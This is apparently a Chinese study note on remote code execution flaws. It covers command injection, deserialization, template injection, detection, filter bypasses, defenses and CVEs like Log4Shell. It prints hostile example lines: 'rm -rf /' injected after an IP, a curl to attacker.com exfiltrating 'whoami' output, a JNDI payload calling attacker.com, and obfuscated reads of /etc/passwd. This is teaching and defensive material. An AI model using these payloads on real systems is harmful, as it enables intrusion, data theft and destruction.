RCE漏洞
目录
RCE漏洞
RCE漏洞学习笔记
1 基本概念
- 定义 :攻击者通过漏洞在目标服务器上执行任意命令或代码
- 危害等级 :高危(直接影响服务器控制权)
- 常见场景 :
- Web应用参数未过滤(如URL、表单、HTTP头)
- 反序列化漏洞
- 第三方组件漏洞(如Log4j2、Fastjson)
- 文件上传 + 解析漏洞
2 RCE漏洞类型
2.1 命令注入(Command Injection)
- 原理 :通过拼接系统命令执行恶意指令
- 示例 : php // PHP示例 $ip = $_GET[‘ip’]; system(“ping -c 4 " . $ip); // 攻击者输入:127.0.0.1; rm -rf /
- 常用Payload :
; command # Unix分号分隔
| command # 管道符
&& command # 逻辑与
|| command # 逻辑或
command
# 反引号执行 $(command) # 子shell执行
2.2 反序列化RCE
- 原理 :利用反序列化操作触发危险方法(如PHP的
__destruct
、Java的readObject
) - 经典漏洞 :
- Java: Fastjson(CVE-2022-25845)、Jackson
- Python: Pickle反序列化
- PHP: Phar反序列化
2.3 模板注入(SSTI)
- 原理 :模板引擎解析用户输入为代码 python
Flask示例(Jinja2)
@app.route(’/hello/’) def hello(name): return render_template_string(f’Hello {name}!’)
攻击输入:{{7*7}} → 输出Hello 49!
- 常见引擎 :
- Java: FreeMarker、Velocity
- Python: Jinja2、Mako
- PHP: Twig、Smarty
2.4 其他类型
- 文件包含漏洞 :
php://input
+ POST代码执行 - 表达式注入 :SpEL(Spring)、OGNL(Struts2)
- 内存破坏漏洞 :缓冲区溢出(C/C++程序)
3 实战利用技巧
3.1 检测方法
- 黑盒测试 :
- 输入特殊字符测试命令拼接(
;
|
>
等) - 使用延时命令判断(如
ping -c 4 127.0.0.1
→sleep 5
) - DNS外带数据检测:
curl http://attacker.com/$(whoami)
- 白盒审计 :
- 搜索危险函数: bash
PHP
system(), exec(), passthru(), eval()
Java
Runtime.getRuntime().exec()
Python
os.system(), subprocess.run()
3.2 常用工具
- 漏洞扫描 :
- Burp Suite(手工测试)
- Nuclei(自动化模板)
- 利用框架 :
- Metasploit(
exploit/multi/http/log4shell_rce
) - SQLMap(
--os-shell
参数) - Payload生成 :
- (反向Shell生成)
- (编码转换)
3.3 绕过防御
- 过滤绕过 : bash
空格绕过
cat</etc/passwd {cat,/etc/passwd}
关键字绕过
c\at /etc/passwd c’‘at /etc/passwd
- 编码绕过 : bash
Base64
echo ‘whoami’ | base64 → d2hvYW1pCg== echo d2hvYW1pCg== | base64 -d | bash
4 防御方案
4.1 输入处理
- 白名单验证 :限制用户输入格式(如IP地址正则)
- 敏感字符过滤 :移除
;
|
&
等危险符号 - 参数化处理 :避免直接拼接命令 python
错误方式
os.system(f"ping {ip}”)
正确方式(Python示例)
subprocess.run([‘ping’, ‘-c’, ‘4’, ip], check=True)
4.2 安全配置
- 最小权限原则 :运行服务的用户使用低权限账户
- 禁用危险函数 : php ; php.ini disable_functions = system, exec, passthru
- 沙箱隔离 :使用Docker容器或沙箱环境运行不可信代码
4.3 其他防护
- WAF规则 :拦截常见RCE特征(如
/etc/passwd
、whoami
) - 日志监控 :记录命令执行行为并设置告警
- 依赖管理 :及时更新第三方库(如修复Log4j2)
5 经典漏洞案例
- Log4j2 RCE(CVE-2021-44228)
- 利用Payload:
${jndi:ldap://attacker.com/exp}
- 防御:升级到Log4j 2.17.0+
- Spring4Shell(CVE-2022-22965)
- 利用条件:JDK 9+ + Tomcat部署
- 攻击路径:通过数据绑定修改日志路径上传Webshell
- Apache Struts2 RCE(S2-045)
- 漏洞点:错误处理时的OGNL表达式执行
- Payload示例:
%{(#_='multipart/form-data').(...)}
6 学习资源
- 靶场练习 :
- DVWA(Command Injection模块)
- PortSwigger Web Security Academy
- VulnHub漏洞环境
- 参考资料 :
- OWASP Top 10(A03: Injection)
- 《白帽子讲Web安全》